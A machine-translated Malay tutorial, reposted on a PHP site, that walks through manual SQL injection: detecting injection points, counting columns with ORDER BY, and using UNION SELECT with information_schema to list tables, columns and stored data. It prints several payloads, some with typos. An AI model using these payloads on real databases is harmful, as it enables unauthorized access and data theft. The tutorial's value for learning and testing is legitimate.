Rumah > pangkalan data > SQL > Mari kita bercakap tentang proses suntikan SQL manual yang mudah

Mari kita bercakap tentang proses suntikan SQL manual yang mudah

WBOY
Lepaskan: 2022-01-28 17:02:47
ke hadapan
4644 orang telah melayarinya

Artikel ini membawakan kepada anda isu berkaitan suntikan manual dalam SQL, termasuk isu yang berkaitan dengan menentukan titik suntikan dan menentukan jenis suntikan saya harap ia akan membantu semua orang.

Mari kita bercakap tentang proses suntikan SQL manual yang mudah

Tentukan titik suntikan

1. Kaedah tanda petikan tunggal: tambah satu tanda petikan terus selepas URL. penyemak imbas akan mengembalikan beberapa maklumat pengecualian, ini bermakna pautan mungkin mempunyai kerentanan suntikan sql

2.1=1 dan 1=2: tambah dan 1=1 kepada parameter dapatkan selepas URL, paparan adalah normal , gantikan 1=1 dengan 1 =2, paparan tidak normal, menunjukkan bahawa terdapat suntikan SQL dalam halaman web.

Tentukan jenis suntikan

1 Suntikan angka: nilai pembolehubah yang disuntik tidak perlu disertakan dalam petikan, seperti

select * from user where id=$id;
Salin selepas log masuk

2 suntikan: pembolehubah yang disuntik Ia akan dibalut dengan tanda petikan, seperti `

select * from user where username='$username';`
Salin selepas log masuk

Pastikan anda menutup tanda petikan semasa menyuntik.
3. Suntikan carian:

select * from user where username like '%$pass%';
Salin selepas log masuk

Bina pernyataan sql sebagai

select * from user where username like '%$pass%' union select语句 '%%';
Salin selepas log masuk

, iaitu, pembolehubah yang dipindahkan ialah pass%' pernyataan pilih kesatuan '% untuk membentuk penutupan.

Tentukan kaedah penyerahan titik suntikan

Tentukan sama ada kaedah penyerahan titik suntikan adalah dapatkan, pos atau kuki melalui tangkapan paket dan kaedah lain.

Gunakan tertib mengikut untuk menanya medan

Gunakan tertib demi penyataan untuk menanyakan berapa banyak medan yang terdapat dalam pangkalan data Anda boleh menentukan bilangan medan pangkalan data melalui percubaan berterusan oeder dengan 9, halaman Apabila ralat dilaporkan dan pesanan sebanyak 8 dimasukkan, halaman dipaparkan seperti biasa, iaitu, terdapat 8 medan dalam pangkalan data.
Contohnya, pernyataan pertanyaan ialah: select * from user where id='$id';
Anda boleh membina input berikut: (id = ') ' order by 3 ' --
Maksudnya, pernyataan pertanyaan ialah: select * from user where id='' order by 3 '--'

Gunakan gabungan pertanyaan untuk menanyakan pangkalan data semasa, pengguna, maklumat Versi

Gunakan pernyataan pilih kesatuan untuk menanyakan pengguna pengguna semasa(), pangkalan data pangkalan data(), versi versi pangkalan data(), @@version_compile_os sistem pengendalian pelayan dan maklumat lain
versi versi adalah sangat penting, jika Jika versi melebihi 5.0, anda boleh menggunakan pustaka information_schema untuk menanya maklumat yang dikehendaki dengan mudah
Pernyataan pembinaan:

select * from user where id='' union select user(),database(),version()+--+;
Salin selepas log masuk

Soal jadual , lajur dan nilai dalam pangkalan data semasa

5.0 Pustaka information_schema yang disertakan dengan pangkalan data mysql versi di atas menyimpan semua nama jadual dan maklumat tersenarai dalam pangkalan data.
Seterusnya kita harus menyemak maklumat semua jadual bernama jadual berdasarkan hasil pertanyaan pangkalan data semasa dalam langkah kelima (contohnya, pangkalan data ialah pangkalan data_1).
Information_schema.tables: Jadual yang merekodkan semua maklumat nama jadual dalam pangkalan data.
Pernyataan pertanyaan yang dibina adalah seperti berikut:

Select * from user where id='' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database_1;--
Salin selepas log masuk

Hasil pertanyaan ialah: maklumat nama jadual dalam pangkalan data semasa yang ditanya dalam langkah kelima.
Information_schema.columns: merekodkan maklumat nama lajur semua jadual dalam pangkalan data
Seterusnya, anda harus menanyakan maklumat nama lajurnya berdasarkan maklumat nama jadual yang diperoleh daripada pertanyaan di atas (contohnya, jadual ialah table_1) . Pernyataan yang dibina adalah seperti berikut:

Select * from user where id='' union selcet 1,group_concat(column_name),3 from information_schema.columns where table_name=table_1;--
Salin selepas log masuk

Selepas menanyakan nama lajur, anda boleh mengetahui terus maklumat yang disimpan dalam jadual melalui pertanyaan bersama (contohnya, nama lajur yang ditemui ialah lajur_1, lajur_2) dan bina pernyataan

Selcet * from user where id='' union select 1,column_1,column_2 from tables;--
Salin selepas log masuk

Anda boleh menanyakan data yang disimpan bagi jadual yang ditentukan dalam pangkalan data yang ditentukan

Pembelajaran yang disyorkan: tutorial video mysql

Atas ialah kandungan terperinci Mari kita bercakap tentang proses suntikan SQL manual yang mudah. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Label berkaitan:
sql
sumber:csdn.net
Kenyataan Laman Web ini
Kandungan artikel ini disumbangkan secara sukarela oleh netizen, dan hak cipta adalah milik pengarang asal. Laman web ini tidak memikul tanggungjawab undang-undang yang sepadan. Jika anda menemui sebarang kandungan yang disyaki plagiarisme atau pelanggaran, sila hubungi admin@php.cn
Tutorial Popular
Lagi>
Muat turun terkini
Lagi>
kesan web
Kod sumber laman web
Bahan laman web
Templat hujung hadapan